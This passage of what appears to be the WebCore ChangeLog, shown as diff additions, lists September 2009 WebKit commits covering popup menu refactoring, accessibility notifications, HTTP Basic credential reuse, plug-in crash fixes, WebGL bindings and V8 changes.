+        (WebCore::PopupListBox::handleKeyEvent):        
+        (WebCore::PopupListBox::abandon):
+        (WebCore::PopupListBox::acceptIndex):
+        Call popupDidHide instead of hidePopup.
+        
+        * platform/gtk/PopupMenuGtk.cpp:
+        (WebCore::PopupMenu::menuUnmapped):
+        Ditto.
+        
+        * platform/mac/PopupMenuMac.mm:
+        (WebCore::PopupMenu::show):
+        Ditto.
+        
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::hide):
+        Call popupDidHide.
+        
+        (WebCore::PopupWndProc):
+        Call PopupMenu::hide.
+        
+        * platform/wx/PopupMenuWx.cpp:
+        (WebCore::PopupMenu::OnMenuItemSelected):
+        Call popupDidHide.
+        
+        * rendering/RenderMenuList.cpp:
+        (WebCore::RenderMenuList::hidePopup):
+        (WebCore::RenderMenuList::popupDidHide):
+        * rendering/RenderMenuList.h:
+        Set the "popup is visible" flag in popupDidHide.
+        
+        * rendering/RenderTextControlSingleLine.cpp:
+        (WebCore::RenderTextControlSingleLine::hidePopup):
+        (WebCore::RenderTextControlSingleLine::popupDidHide):
+        * rendering/RenderTextControlSingleLine.h:
+        Ditto.
+
+2009-09-14  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by David Hyatt.
+
+        - Fix <rdar://problem/7182275>.
+
+        Make sure that the newly created scrollbar's style is up to date.
+        
+        * platform/win/PopupMenuWin.cpp:
+        (WebCore::PopupMenu::~PopupMenu):
+        Call setParent so that the scrollbar's parts are torn down correctly.
+        
+        (WebCore::PopupMenu::show):
+        Call styleChanged.
+
+2009-09-11  Jon Honeycutt  <jhoneycutt@apple.com>
+
+        <rdar://problem/7197644> WebKit should broadcast an MSAA event when
+        jumping to a named anchor
+
+        https://bugs.webkit.org/show_bug.cgi?id=28899
+
+        Reviewed by Adam Roben.
+
+        * accessibility/AXObjectCache.h:
+        (WebCore::AXObjectCache::):
+        Added declaration for handleScrolledToAnchor(). Added a new entry to
+        the enum of accessibility notifications.
+
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::AccessibilityObject::firstAccessibleObjectFromNode):
+        Code moved from AccessibilityRenderObject::internalLinkElement() and
+        refactored slightly; walks the tree until it finds a Node (with a
+        renderer) whose accessibility is not ignored.
+
+        * accessibility/AccessibilityObject.h:
+        Added a declaration for firstAccessibleObjectFromNode().
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::internalLinkElement):
+        Code moved to AccessibilityObject::firstAccessibleObjectFromNode().
+
+        * accessibility/chromium/AXObjectCacheChromium.cpp:
+        (WebCore::AXObjectCache::handleScrolledToAnchor):
+        Stubbed.
+
+        * accessibility/gtk/AXObjectCacheAtk.cpp:
+        (WebCore::AXObjectCache::handleScrolledToAnchor):
+        Stubbed.
+
+        * accessibility/mac/AXObjectCacheMac.mm:
+        (WebCore::AXObjectCache::postPlatformNotification):
+        Add a default case that returns early for notifications that Mac
+        doesn't handle.
+        (WebCore::AXObjectCache::handleScrolledToAnchor):
+        Stubbed.
+
+        * accessibility/win/AXObjectCacheWin.cpp:
+        (WebCore::AXObjectCache::handleScrolledToAnchor):
+        Post an AXScrolledToAnchor notification for the first accessible from
+        the anchor Node.
+        (WebCore::AXObjectCache::postPlatformNotification):
+        If the notification is AXFocusedUIElementChanged, fire an
+        EVENT_OBJECT_FOCUS. If the notification is AXScrolledToAnchor, fire
+        EVENT_SYSTEM_SCROLLINGSTART, matching Firefox.
+        (WebCore::AXObjectCache::handleFocusedUIElementChanged):
+        Code moved to postPlatformNotification().
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::scrollToAnchor):
+        Call AXObjectCache::handleScrolledToAnchor().
+
+2009-09-14  Anthony Ricaud  <rik@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Cookies are not inspectable after reloading a page
+        https://bugs.webkit.org/show_bug.cgi?id=29222
+
+        Create the cookieTreeElement on initialization instead of when the view is shown.
+        Reset the selected element of the sidebar on reset.
+
+        * inspector/front-end/StoragePanel.js:
+        (WebInspector.StoragePanel):
+        (WebInspector.StoragePanel.prototype.show):
+        (WebInspector.StoragePanel.prototype.reset):
+
+
+2009-09-14  Brady Eidson  <beidson@apple.com>
+
+        Windows build fix.
+
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge):
+        (WebCore::ResourceHandle::receivedCredential):
+        (WebCore::WebCoreSynchronousLoader::didReceiveChallenge):
+        (WebCore::WebCoreSynchronousLoader::load):
+
+2009-09-14  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Safari 4 cannot be used to update firmware on Linksys routers.
+        <rdar://problem/7174050> and https://bugs.webkit.org/show_bug.cgi?id=29160
+
+        In http://trac.webkit.org/changeset/42483, we disabled CFNetwork's session credential storage and 
+        implemented our own in WebCore.
+
+        One feature we lost is that CFNetwork would automatically send previously authenticated credentials
+        with new connections when the paths match, as allowed by RFC 2617 for HTTP Basic and Digest Authentication.  
+
+        Even though it's optional for User Agents to do this, (some?) Linksys routers rely on this behavior for
+        HTTP Basic Authentication.  So now WebCore's CredentialStorage will track URL paths for Basic credentials.
+
+        We're not making this enhancement for Digest at this time, since we don't know of anything that broke
+        due to the change in Digest behavior.
+
+        Test: http/tests/loading/basic-credentials-sent-automatically.html
+              http/tests/loading/basic-auth-resend-wrong-credentials.html
+
+        * WebCore.base.exp:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+
+        * platform/network/Credential.cpp:
+        (WebCore::Credential::isEmpty):
+        * platform/network/Credential.h:
+
+        Add a slightly more full featured CredentialStore that will track URL paths a credential belongs to:
+        * platform/network/CredentialStorage.cpp: Added.
+        (WebCore::protectionSpaceToCredentialMap):
+        (WebCore::originToDefaultCredentialMap):
+        (WebCore::originStringFromURL):
+        (WebCore::CredentialStorage::set):
+        (WebCore::CredentialStorage::get):
+        (WebCore::CredentialStorage::getDefaultAuthenticationCredential):
+        * platform/network/CredentialStorage.h: Added.
+
+        Allow ProtectionSpace to be a hash key:
+        * platform/network/ProtectionSpace.cpp:
+        (WebCore::ProtectionSpace::ProtectionSpace):
+        * platform/network/ProtectionSpace.h:
+        (WebCore::ProtectionSpace::ProtectionSpace):
+        (WebCore::ProtectionSpace::isHashTableDeletedValue):
+        * platform/network/ProtectionSpaceHash.h: Added.
+        (WebCore::ProtectionSpaceHash::hash):
+        (WebCore::ProtectionSpaceHash::equal):
+
+        Allow ResourceHandles to remember the initial credential they used:
+        * platform/network/ResourceHandleInternal.h:
+
+        Allow mutable ResourceRequests to update their platform object if HTTP header fields change:
+        * platform/network/ResourceRequestBase.cpp:
+        (WebCore::ResourceRequestBase::addHTTPHeaderField):
+
+        Remove WebCoreCredentialStorage:
+        * platform/network/cf/AuthenticationCF.cpp:
+        * platform/network/cf/AuthenticationCF.h:
+        * platform/network/mac/AuthenticationMac.h:
+        * platform/network/mac/AuthenticationMac.mm:
+
+        Change ResourceHandleCFNet to try to use stored credentials on new connections, if appropriate:
+        * platform/network/cf/ResourceHandleCFNet.cpp:
+        (WebCore::ResourceHandle::start):
+        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Only try the ProtectionSpace key'ed
+          Credential if it does not match the initially used Credential.
+        (WebCore::ResourceHandle::receivedCredential):
+        (WebCore::WebCoreSynchronousLoader::didReceiveChallenge): Only try the ProtectionSpace key'ed
+          Credential if it does not match the initially used Credential.
+        (WebCore::WebCoreSynchronousLoader::load):
+
+        Change ResourceHandleMac to try to use stored credentials on new connections, if appropriate:
+        * platform/network/mac/ResourceHandleMac.mm:
+        (WebCore::ResourceHandle::start):
+        (WebCore::ResourceHandle::didReceiveAuthenticationChallenge): Only try the ProtectionSpace key'ed
+          Credential if it does not match the initially used Credential.
+        (WebCore::ResourceHandle::receivedCredential):
+        (-[WebCoreSynchronousLoader connection:didReceiveAuthenticationChallenge:]): Only try the 
+          ProtectionSpace key'ed Credential if it does not match the initially used Credential.
+        (+[WebCoreSynchronousLoader loadRequest:allowStoredCredentials:returningResponse:error:]):
+
+        Add base64-ability to CString:
+        * platform/text/CString.cpp:
+        (WebCore::CStringBuffer::base64Encode):
+        (WebCore::CString::base64Encode):
+        * platform/text/CString.h:
+        (WebCore::CStringBuffer::create):
+        (WebCore::CStringBuffer::CStringBuffer):
+
+2009-09-12  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Fix <rdar://problem/6954546> Crashes in WebCore::RenderPart::setWidget below FrameLoader::loadPlugin.
+
+        The calls to FrameLoader::requestObject within RenderPartObject::updateWidget can result in a plug-in
+        being initialized.  This can run cause arbitrary JavaScript to run and may result in the RenderPartObject
+        being detached from the render tree and destroyed, causing a crash like <rdar://problem/6954546>.
+
+        No test is possible until <rdar://problem/7090444> is fixed.
+
+        * rendering/RenderPartObject.cpp:
+        (WebCore::RenderPartObject::updateWidget): Ensure that we stay alive for the duration of plug-in initialization.
+
+2009-09-12  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Add RenderWidgetProtector to simplify protecting a RenderWidget from destruction for the
+        duration of a function.  Deploy it within RenderWidget.
+
+        * rendering/RenderWidget.cpp:
+        (WebCore::RenderWidget::setWidgetGeometry):
+        (WebCore::RenderWidget::updateWidgetPosition): Use a RefPtr rather than explicitly
+        ref'ing and deref'ing the node.
+        * rendering/RenderWidget.h:
+        * rendering/RenderWidgetProtector.h:
+        (WebCore::RenderWidgetProtector::RenderWidgetProtector):
+        (WebCore::RenderWidgetProtector::~RenderWidgetProtector):
+
+2009-09-14  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        CodeGenerator.pm needs some cleaning up
+        https://bugs.webkit.org/show_bug.cgi?id=29238
+
+        * bindings/scripts/CodeGenerator.pm:
+        (FindParentsRecursively): Removed; its functionality is now handled in
+        AddMethodsConstantsAndAttributesFromParentClasses.
+        (ForAllParents): New function that visits an interface's ancestors and
+        invokes a callback for each one.
+        (AddMethodsConstantsAndAttributesFromParentClasses): Simplified by using
+        ForAllParents.
+        (GetMethodsAndAttributesFromParentClasses): Ditto.
+        (IDLFileForInterface): Factored out previous calls to ScanDirectory into
+        this new function, which returns the filename containing a given IDL
+        interface definition.
+        (ParseInterface): Simplified by using IDLFileForInterface.
+        (ScanDirectory): Removed in lieu of IDLFileForInterface.
+        * bindings/scripts/CodeGeneratorV8.pm: Drop call to
+        FindParentsRecursively and get the list of parents from the
+        AddMethodsConstantsAndAttributesFromParentClasses call instead.
+
+2009-09-14  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Assert hit when dropping a file in QtLauncher
+        https://bugs.webkit.org/show_bug.cgi?id=29242
+
+        Qt's implementation of DropData::asURL does not return a URL encoded string
+        as expected.
+
+        * platform/qt/DragDataQt.cpp:
+        (WebCore::DragData::asURL):
+
+2009-09-13  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix, file was missed during TLS.cpp removal.
+
+        * page/wx/FrameWx.cpp: Added.
+        (WebCore::Frame::dragImageForSelection):
+
+2009-09-13  Anthony Ricaud  <rik@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        Web Inspector: Add "New Style Rule" to the localizedStrings
+        https://bugs.webkit.org/show_bug.cgi?id=29237
+
+        * English.lproj/localizedStrings.js:
+
+2009-09-13  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] Implement filesystem functions.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29196
+
+        * platform/wx/FileSystemWx.cpp:
+        (WebCore::fileExists):
+        (WebCore::deleteFile):
+        (WebCore::deleteEmptyDirectory):
+        (WebCore::getFileSize):
+        (WebCore::getFileModificationTime):
+        (WebCore::makeAllDirectories):
+        (WebCore::pathByAppendingComponent):
+        (WebCore::homeDirectoryPath):
+        (WebCore::directoryName):
+
+2009-09-12  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fixes for wx 2.9.
+
+        * platform/wx/ScrollbarThemeWx.cpp:
+        * platform/wx/wxcode/gtk/scrollbar_render.cpp:
+        (wxGetGdkWindowForDC):
+
+2009-09-12  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        [ES5] Implement Object.keys
+        https://bugs.webkit.org/show_bug.cgi?id=29170
+
+        Switch from getPropertyNames to getOwnPropertyNames, and provide custom
+        getPropertyNames to DOMWindow, DOMWindowShell and QuarantinedObjectWrapper
+        in order to ensure correct semantics are maintained.
+
+        Test: fast/js/Object-keys.html
+
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::getOwnPropertyNames):
+        * bindings/js/JSDOMWindowShell.cpp:
+        (WebCore::JSDOMWindowShell::getOwnPropertyNames):
+        * bindings/js/JSDOMWindowShell.h:
+        * bindings/js/JSHistoryCustom.cpp:
+        (WebCore::JSHistory::getOwnPropertyNames):
+        * bindings/js/JSLocationCustom.cpp:
+        (WebCore::JSLocation::getOwnPropertyNames):
+        * bindings/js/JSQuarantinedObjectWrapper.cpp:
+        (WebCore::JSQuarantinedObjectWrapper::getPropertyNames):
+        (WebCore::JSQuarantinedObjectWrapper::getOwnPropertyNames):
+        * bindings/js/JSQuarantinedObjectWrapper.h:
+        * bindings/js/JSStorageCustom.cpp:
+        (WebCore::JSStorage::getOwnPropertyNames):
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * bridge/runtime_object.cpp:
+        (JSC::RuntimeObjectImp::getPropertyNames):
+        (JSC::RuntimeObjectImp::getOwnPropertyNames):
+        * bridge/runtime_object.h:
+
+2009-09-12  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Anders Carlsson.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29219
+        Document.elementFromPoint() should take page scroll into consideration
+
+        Test: fast/dom/elementFromPoint-relative-to-viewport.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::elementFromPoint):
+        (WebCore::Document::caretRangeFromPoint):
+
+2009-09-12  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Maciej Stachowiak.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=29217
+        Document.caretRangeFromPoint should take the scroll offset into account before hit testing
+
+        In accordance with the CSSOM View Module spec, Document.caretRangeFromPoint should interpret
+        the point passed to it as relative to the viewport, not the document.
+
+        Test: fast/dom/Document/CaretRangeFromPoint/hittest-relative-to-viewport.html
+
+        * dom/Document.cpp:
+        (WebCore::Document::caretRangeFromPoint):
+
+2009-09-11  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Added some manual tests to show WebGL in action
+        https://bugs.webkit.org/show_bug.cgi?id=29215
+
+        * manual-tests/webgl: Added.
+        * manual-tests/webgl/Earth.html: Added.
+        * manual-tests/webgl/ManyPlanetsDeep.html: Added.
+        * manual-tests/webgl/SpinningBox.html: Added.
+        * manual-tests/webgl/TeapotPerPixel.html: Added.
+        * manual-tests/webgl/TeapotPerVertex.html: Added.
+        * manual-tests/webgl/resources: Added.
+        * manual-tests/webgl/resources/CanvasMatrix.js: Added.
+        * manual-tests/webgl/resources/earthmap1k.jpg: Added.
+        * manual-tests/webgl/resources/mars500x250.png: Added.
+        * manual-tests/webgl/resources/teapot.obj: Added.
+        * manual-tests/webgl/resources/utils3d.js: Added.
+ 
+2009-09-10  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        aria definition role spelled wrong "defintion"
+        https://bugs.webkit.org/show_bug.cgi?id=28840
+
+        Test: accessibility/aria-slider-value-change.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::RoleEntry::):
+
+2009-09-11  Erik Arvidsson  <arv@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fixes an assert in Node::isFocusable which was causing crashes in certain cases.
+        https://bugs.webkit.org/show_bug.cgi?id=29210
+
+        * dom/Node.cpp:
+        (WebCore::Node::isFocusable):
+
+2009-09-11  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Added variants to uniform* and vertexAttrib* calls which take sequence<> in place of CanvasArray
+        https://bugs.webkit.org/show_bug.cgi?id=29139
+        
+        I also added a data() call to each of the CanvasArray subclasses to give back a types pointer
+        to the baseAddress().
+
+        * Configurations/FeatureDefines.xcconfig:
+        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
+        (WebCore::toArray):
+        (WebCore::):
+        (WebCore::dataFunctionf):
+        (WebCore::dataFunctioni):
+        (WebCore::dataFunctionMatrix):
+        (WebCore::JSCanvasRenderingContext3D::uniform1fv):
+        (WebCore::JSCanvasRenderingContext3D::uniform1iv):
+        (WebCore::JSCanvasRenderingContext3D::uniform2fv):
+        (WebCore::JSCanvasRenderingContext3D::uniform2iv):
+        (WebCore::JSCanvasRenderingContext3D::uniform3fv):
+        (WebCore::JSCanvasRenderingContext3D::uniform3iv):
+        (WebCore::JSCanvasRenderingContext3D::uniform4fv):
+        (WebCore::JSCanvasRenderingContext3D::uniform4iv):
+        (WebCore::JSCanvasRenderingContext3D::uniformMatrix2fv):
+        (WebCore::JSCanvasRenderingContext3D::uniformMatrix3fv):
+        (WebCore::JSCanvasRenderingContext3D::uniformMatrix4fv):
+        (WebCore::JSCanvasRenderingContext3D::vertexAttrib1fv):
+        (WebCore::JSCanvasRenderingContext3D::vertexAttrib2fv):
+        (WebCore::JSCanvasRenderingContext3D::vertexAttrib3fv):
+        (WebCore::JSCanvasRenderingContext3D::vertexAttrib4fv):
+        * html/canvas/CanvasByteArray.h:
+        (WebCore::CanvasByteArray::data):
+        * html/canvas/CanvasFloatArray.h:
+        (WebCore::CanvasFloatArray::data):
+        * html/canvas/CanvasIntArray.h:
+        (WebCore::CanvasIntArray::data):
+        * html/canvas/CanvasRenderingContext3D.cpp:
+        (WebCore::CanvasRenderingContext3D::uniform1fv):
+        (WebCore::CanvasRenderingContext3D::uniform1iv):
+        (WebCore::CanvasRenderingContext3D::uniform2fv):
+        (WebCore::CanvasRenderingContext3D::uniform2iv):
+        (WebCore::CanvasRenderingContext3D::uniform3fv):
+        (WebCore::CanvasRenderingContext3D::uniform3iv):
+        (WebCore::CanvasRenderingContext3D::uniform4fv):
+        (WebCore::CanvasRenderingContext3D::uniform4iv):
+        (WebCore::CanvasRenderingContext3D::uniformMatrix2fv):
+        (WebCore::CanvasRenderingContext3D::uniformMatrix3fv):
+        (WebCore::CanvasRenderingContext3D::uniformMatrix4fv):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib1fv):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib2fv):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib3fv):
+        (WebCore::CanvasRenderingContext3D::vertexAttrib4fv):
+        * html/canvas/CanvasRenderingContext3D.h:
+        * html/canvas/CanvasRenderingContext3D.idl:
+        * html/canvas/CanvasShortArray.h:
+        (WebCore::CanvasShortArray::data):
+        * html/canvas/CanvasUnsignedByteArray.h:
+        (WebCore::CanvasUnsignedByteArray::data):
+        * html/canvas/CanvasUnsignedIntArray.h:
+        (WebCore::CanvasUnsignedIntArray::data):
+        * html/canvas/CanvasUnsignedShortArray.h:
+        (WebCore::CanvasUnsignedShortArray::data):
+        * platform/graphics/GraphicsContext3D.h:
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::uniform1fv):
+        (WebCore::GraphicsContext3D::uniform2fv):
+        (WebCore::GraphicsContext3D::uniform3fv):
+        (WebCore::GraphicsContext3D::uniform4fv):
+        (WebCore::GraphicsContext3D::uniform1iv):
+        (WebCore::GraphicsContext3D::uniform2iv):
+        (WebCore::GraphicsContext3D::uniform3iv):
+        (WebCore::GraphicsContext3D::uniform4iv):
+        (WebCore::GraphicsContext3D::uniformMatrix2fv):
+        (WebCore::GraphicsContext3D::uniformMatrix3fv):
+        (WebCore::GraphicsContext3D::uniformMatrix4fv):
+        (WebCore::GraphicsContext3D::vertexAttrib1fv):
+        (WebCore::GraphicsContext3D::vertexAttrib2fv):
+        (WebCore::GraphicsContext3D::vertexAttrib3fv):
+        (WebCore::GraphicsContext3D::vertexAttrib4fv):
+
+2009-09-11  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Add ENABLE(WEB_SOCKETS) guards.
+        https://bugs.webkit.org/show_bug.cgi?id=29174
+
+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+
+2009-09-11  Eric Seidel  <eric@webkit.org>
+
+        No review, rolling out r48229.
+        http://trac.webkit.org/changeset/48229
+
+        * WebCore.base.exp:
+        * dom/Clipboard.cpp:
+        (WebCore::Clipboard::Clipboard):
+        (WebCore::Clipboard::sourceOperation):
+        * page/DragController.cpp:
+        (WebCore::DragController::DragController):
+        (WebCore::DragController::dragExited):
+        (WebCore::DragController::performDrag):
+        (WebCore::DragController::dragEnteredOrUpdated):
+        (WebCore::DragController::tryDHTMLDrag):
+        (WebCore::DragController::startDrag):
+        * page/DragController.h:
+        * page/EventHandler.cpp:
+        (WebCore::EventHandler::updateDragAndDrop):
+        (WebCore::EventHandler::dragSourceMovedTo):
+        (WebCore::EventHandler::handleDrag):
+        * page/EventHandler.h:
+
+2009-09-11  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Fix the build.
+
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::typeMismatch):
+
+2009-09-11  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Antti Koivisto.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27456
+        Added support for static validation of url in
+        ValidityState, for url state inputs.
+        From HTML5 specs:
+        http://www.whatwg.org/specs/web-apps/current-work/#url-state
+
+        Test: fast/forms/ValidityState-typeMismatch-url.html
+
+        * html/ValidityState.cpp:
+        (WebCore::ValidityState::typeMismatch):
+
+2009-09-11  Evan Stade  <estade@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Revert r47992: Expose functions to change the focus ring color for
+        Linux Chromium.
+
+        As Darin Fisher has pointed out, there is a better way to do this.
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::RenderThemeChromiumLinux):
+        * rendering/RenderThemeChromiumLinux.h:
+
+2009-09-11  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Geoff Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29207
+        Add checks for using WebCore JS context on secondary threads
+
+        * bindings/js/JSDOMWindowBase.cpp: (WebCore::JSDOMWindowBase::commonJSGlobalData):
+        Set the new debug-only mainThreadOnly flag.
+
+2009-09-11  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Timothy Hatcher.
+
+        The inspector should have scope bars.
+        https://bugs.webkit.org/show_bug.cgi?id=14353
+        
+        Add scope bars to the console, so the user can choose which category
+        of messages they want to see (All, Errors, Warnings, Logs), and they
+        can choose from one or more of {Errors, Warnings, Logs}.
+
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.createFilterElement):
+        (WebInspector.ConsoleView):
+        (WebInspector.ConsoleView.prototype._updateFilter):
+        (WebInspector.ConsoleView.prototype.filter):
+        (WebInspector.ConsoleView.prototype.attach):
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+
+2009-09-11  Yusuke Sato  <yusukes@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [Chromium] Complex text doesn't show up with text stroking
+        https://bugs.webkit.org/show_bug.cgi?id=28707
+
+        Added extra NULL checks for HDC. This is the second fix for issue 28707,
+        and the fix is similar to http://trac.webkit.org/changeset/45482.
+
+        * platform/graphics/chromium/FontChromiumWin.cpp:
+        (WebCore::Font::drawComplexText):
+        * platform/graphics/chromium/UniscribeHelper.cpp:
+        (WebCore::UniscribeHelper::draw):
+
+2009-09-11  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        Make ElementTimeControl methods return void and not throw.
+        https://bugs.webkit.org/show_bug.cgi?id=28831
+
+        SVG 1.1 erratum:
+        http://www.w3.org/2003/01/REC-SVG11-20030114-errata#elementtimecontrol-interface
+
+        Test: svg/dom/smil-methods.svg
+
+        * svg/ElementTimeControl.h: Change return type from bool to void and remove exception argument.
+        * svg/ElementTimeControl.idl: Change return type from bool to void and remove raises claus.
+        * svg/SVGAnimationElement.cpp:
+        (WebCore::SVGAnimationElement::beginElement): Change return type from bool to void and remove exception argument.
+        (WebCore::SVGAnimationElement::beginElementAt): Ditto.
+        (WebCore::SVGAnimationElement::endElement): Ditto.
+        (WebCore::SVGAnimationElement::endElementAt): Ditto.
+        * svg/SVGAnimationElement.h: Ditto.
+
+2009-09-11  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Added support for texImage2D which takes CanvasArray
+        https://bugs.webkit.org/show_bug.cgi?id=29191
+
+        * bindings/js/JSCanvasRenderingContext3DCustom.cpp:
+        (WebCore::JSCanvasRenderingContext3D::texImage2D):
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::texImage2D):
+
+2009-09-11  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Allow WebKit clients to opt out of high resolution timers on Windows.
+        https://bugs.webkit.org/show_bug.cgi?id=29192
+
+        * page/Settings.cpp:
+        (WebCore::Settings::setShouldUseHighResolutionTimers): Added.
+        * page/Settings.h: Added getter/setter for shouldUseHighResolutionTimers.
+        (WebCore::Settings::shouldUseHighResolutionTimers): Added.
+        * platform/win/SharedTimerWin.cpp:
+        (WebCore::setSharedTimerFireTime): Don't run high resolution timer code if it is disabled.
+
+2009-09-11  Christian Plesner Hansen  <christian.plesner.hansen@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        [v8] Share persistent context handles between events        
+        Change events to use a single ref-counted shared persistent handle
+        to the context in which to run, rather than create a new
+        persistent handle for each new event which puts pressure on the
+        gc.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=29077
+
+        * bindings/v8/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::execute):
+        * bindings/v8/SharedPersistent.h: Added.
+        (WebCore::SharedPersistent::set):
+        (WebCore::SharedPersistent::get):
+        (WebCore::SharedPersistent::disposeHandle):
+        (WebCore::SharedPersistent::create):
+        (WebCore::SharedPersistent::SharedPersistent):
+        * bindings/v8/V8AbstractEventListener.cpp:
+        (WebCore::V8AbstractEventListener::V8AbstractEventListener):
+        (WebCore::V8AbstractEventListener::handleEvent):
+        * bindings/v8/V8AbstractEventListener.h:
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+        (WebCore::V8IsolatedWorld::~V8IsolatedWorld):
+        * bindings/v8/V8IsolatedWorld.h:
+        (WebCore::V8IsolatedWorld::context):
+        (WebCore::V8IsolatedWorld::shared_context):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluateInNewContext):
+        (WebCore::V8Proxy::createWrapperFromCacheSlowCase):
+        (WebCore::V8Proxy::isContextInitialized):
+        (WebCore::V8Proxy::updateDocumentWrapperCache):
+        (WebCore::V8Proxy::clearDocumentWrapperCache):
+        (WebCore::V8Proxy::disposeContextHandles):
+        (WebCore::V8Proxy::clearForClose):
+        (WebCore::V8Proxy::clearForNavigation):
+        (WebCore::V8Proxy::setSecurityToken):
+        (WebCore::V8Proxy::updateDocument):
+        (WebCore::V8Proxy::initContextIfNeeded):
+        (WebCore::V8Proxy::shared_context):
+        (WebCore::V8Proxy::mainWorldContext):
+        (WebCore::V8Proxy::setContextDebugId):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::V8Proxy):
+        (WebCore::V8Proxy::context):
+        (WebCore::V8Proxy::shared_context):
+
+2009-09-11  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by David Levin.
+
+        Create a real handle (one which would save an object from GC).
+        https://bugs.webkit.org/show_bug.cgi?id=29150
+
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::v8ExternalString):
+
+2009-09-11  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by David Levin.
+
+        Inline WebCore::v8String as it only invokes WebCore::v8ExternalString.
+        https://bugs.webkit.org/show_bug.cgi?id=29152
+
+        * bindings/v8/V8Binding.cpp:
+        * bindings/v8/V8Binding.h:
+        (WebCore::v8String):
+
+2009-09-11  Ariya Hidayat  <ariya.hidayat@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Changed URLs from qtsoftware.com to qt.nokia.com, as part of a general
+        renaming.
+
+        * ChangeLog-2009-06-16:
+
+2009-09-11  Thiago Macieira  <thiago.macieira@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Use LIBS_PRIVATE on Qt/Mac.
+
+        On the Mac, it means "-framework ApplicationServices -framework Carbon
+        -framework AppKit" are no longer part of the default LIBS in Qt
+        applications. This required a lot of fixes where we used Mac-specific
+        code in Qt.
+
+        * WebCore.pro:
+
+2009-09-11  Cameron McCormack  <cam@mcc.id.au>
+
+        Reviewed by Eric Seidel.
+
+        Remove duplicated WK_{u,l}cfirst subs from CodeGeneratorV8.pm
+        https://bugs.webkit.org/show_bug.cgi?id=29165
+
+        * bindings/scripts/CodeGeneratorV8.pm: Remove WK_ucfirst and
+        WK_lcfirst, and call the ones in CodeGenerator.pm instead.
+
+2009-09-11  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=29132
+        Symbian winscw compiler fails compiling WebCore/text/RegularExpression.cpp.
+
